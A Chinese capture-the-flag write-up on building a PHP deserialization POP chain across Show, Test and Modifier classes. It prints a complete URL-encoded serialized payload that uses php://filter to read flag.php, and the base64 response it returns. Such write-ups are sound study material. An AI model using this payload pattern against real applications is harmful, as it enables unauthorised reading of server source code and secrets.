反序列化题:POP链构造
1 | Welcome to index.php |
分析
在Modifier
类中发现include
函数,可以通过php://filter
去读取flag.php源代码。
最终我们要通过Modifier
的 append
方法去包含flag.php的源代码。在Modifier
类中找到一个魔法方法__invoke()
,这个类能控制 append
方法,触发__invoke()
这个魔法方法的方式是以调用函数的方式去调用类
。而在Test
类中,存在一个__get
的魔法方法,有一条语句,return $function();
并且$function可控制。而__get
触发方式是 调用一个不存在的属性或者私有属性
时,就会触发该方法。而在Show
类中存在__toString
的魔法方法,return $this->str->source;
的$this->str可控制。
构造如下
1 |
|
得到
1 | O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A9%3A%22index.php%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7D |
提交
1 | PD9waHAKY2xhc3MgRmxhZ3sKICAgIHByaXZhdGUgJGZsYWc9ICJmbGFnezIzN2Q3ODUzLWE3NDUtNGU4OS1hODk0LTFjODA4NGJkMzBmY30iOwp9CmVjaG8gIkhlbHAgTWUgRmluZCBGTEFHISI7Cj8+ |
解码
在构造序列化的时候,创建了两次show对象,在之前都只是创建一次,而这里创建两次是因为创建一次的话,并不会调用到其他的类。
一道题看一天,看下来,还是有些懵的感觉。